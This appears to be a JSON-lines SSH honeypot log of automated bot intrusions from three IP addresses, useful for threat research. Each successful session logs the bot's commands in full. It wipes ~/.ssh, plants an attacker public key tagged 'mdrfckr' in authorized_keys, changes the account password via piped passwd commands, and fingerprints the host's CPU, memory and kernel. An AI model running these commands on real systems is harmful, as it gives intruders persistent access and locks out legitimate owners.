{"id":"8dcaad64-e205-4415-9abc-8f80854c23a5","name":"subtle-nautical-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59896,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":457,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:50:33.190371+00:00","ended_at":"2026-08-27T12:50:34.730862+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2269,"events":[{"seq":1,"at":"2026-08-27T12:50:12.765053+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:50:13.212691+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:50:17.660067+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:50:18.333210+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:50:18.788612+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ftp_user@2023\\nZiJekG6oXxPt\\nZiJekG6oXxPt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:50:19.244309+00:00","kind":"input","latency_ms":null,"data":"echo \"ftp_user@2023\\nZiJekG6oXxPt\\nZiJekG6oXxPt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:50:19.697384+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:50:20.305377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:50:20.770055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:50:22.078771+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:50:22.536837+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:50:23.652214+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:50:24.108252+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:50:24.394530+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:50:24.856570+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:50:25.377103+00:00","kind":"output","latency_ms":null,"data":" 12:50:25 up 7 days,  9:40,  0 user,  load average: 0.29, 0.36, 0.31\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:50:25.834053+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:50:26.660387+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:50:27.130803+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:50:27.408018+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:50:27.866627+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:50:28.631442+00:00","kind":"output","latency_ms":null,"data":"top - 12:50:28 up 7 days,  9:40,  0 user,  load average: 0.29, 0.36, 0.31\nTasks: 108 total,   1 running, 107 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9850 free,    6037 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:50:29.084221+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:50:29.382548+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:50:29.836933+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:50:30.129539+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:50:30.580969+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:50:30.838881+00:00","kind":"output","latency_ms":null,"data":"ftp_user"},{"seq":29,"at":"2026-08-27T12:50:31.292946+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:50:32.734442+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:50:33.191324+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:50:34.591356+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftp_user","password":"ftp_user@2023","method":"password","accepted":true,"tier":"other"}]}
{"id":"e0063e0c-2d86-42e5-9cad-9df45150e8d1","name":"hidden-fickle-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59904,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:50:16.154380+00:00","ended_at":"2026-08-27T12:50:17.497116+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftp_user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"41f9f301-0f99-43d0-b4ad-6d08299e70d8","name":"canny-autumn-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":55478,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":756,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:17:37.816270+00:00","ended_at":"2026-08-27T12:17:39.130521+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2269,"events":[{"seq":1,"at":"2026-08-27T12:17:10.305014+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:17:11.053571+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:17:17.819003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:17:18.278318+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:17:19.033164+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ftp_user@2023\\nkufz6LT5T9pG\\nkufz6LT5T9pG\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:17:19.786587+00:00","kind":"input","latency_ms":null,"data":"echo \"ftp_user@2023\\nkufz6LT5T9pG\\nkufz6LT5T9pG\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:17:20.565793+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:17:21.193263+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:17:21.948677+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:17:22.874847+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:17:23.632100+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:17:24.418878+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:17:25.184403+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:17:25.636537+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:17:26.394631+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:17:26.840252+00:00","kind":"output","latency_ms":null,"data":" 12:17:26 up 7 days,  9:07,  0 user,  load average: 0.15, 0.12, 0.17\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:17:27.597998+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:17:28.205041+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:17:28.960522+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:17:29.861342+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:17:30.617927+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:17:31.075930+00:00","kind":"output","latency_ms":null,"data":"top - 12:17:31 up 7 days,  9:07,  0 user,  load average: 0.15, 0.12, 0.17\nTasks: 125 total,   1 running, 124 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6514 free,    9373 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:17:31.831644+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:17:32.536534+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:17:33.291314+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:17:33.730008+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:17:34.491041+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:17:35.324140+00:00","kind":"output","latency_ms":null,"data":"ftp_user"},{"seq":29,"at":"2026-08-27T12:17:36.081483+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:17:37.055243+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:17:37.817025+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:17:38.884474+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftp_user","password":"ftp_user@2023","method":"password","accepted":true,"tier":"other"}]}
{"id":"c5ac6b47-ec4a-40bf-acd8-6f327c9194c3","name":"thorny-weathered-squirrel","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":55496,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:17:16.232053+00:00","ended_at":"2026-08-27T12:17:17.574814+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftp_user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"d07cf30b-8560-4b85-bbb5-af953dfb9455","name":"early-deft-galago","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":50678,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":571,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:17:53.831192+00:00","ended_at":"2026-08-27T00:17:54.534356+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2057,"events":[{"seq":1,"at":"2026-08-27T00:17:33.256523+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:17:33.871803+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:17:43.356820+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:17:43.357436+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:17:43.912041+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nNMe7Bq8OC28d\\nNMe7Bq8OC28d\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:17:44.480525+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nNMe7Bq8OC28d\\nNMe7Bq8OC28d\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:17:45.041119+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:17:45.041600+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:17:45.630233+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:17:46.243622+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:17:46.814944+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:17:47.413400+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:17:47.999263+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:17:48.000137+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:17:48.574597+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:17:48.577138+00:00","kind":"output","latency_ms":null,"data":" 00:17:48 up 6 days, 21:07,  0 user,  load average: 0.34, 0.34, 0.28\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:17:49.135144+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:17:49.137841+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:17:49.735440+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:17:49.736078+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:17:50.291091+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:17:50.291567+00:00","kind":"output","latency_ms":null,"data":"top - 00:17:50 up 6 days, 21:07,  0 user,  load average: 0.34, 0.34, 0.28\nTasks: 112 total,   1 running, 111 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7467 free,    8420 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:17:50.850485+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:17:50.851026+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:17:51.523663+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:17:51.524129+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:17:52.092790+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:17:52.094139+00:00","kind":"output","latency_ms":null,"data":"ftp_user"},{"seq":29,"at":"2026-08-27T00:17:52.653863+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:17:53.249912+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:17:53.832469+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:17:54.349273+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftp_user","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"2a83dae2-1927-459e-9efd-11b120b47889","name":"murky-vaulted-anteater","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":52310,"username":"ftp_user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T00:17:41.697466+00:00","ended_at":"2026-08-27T00:17:43.153728+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftp_user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}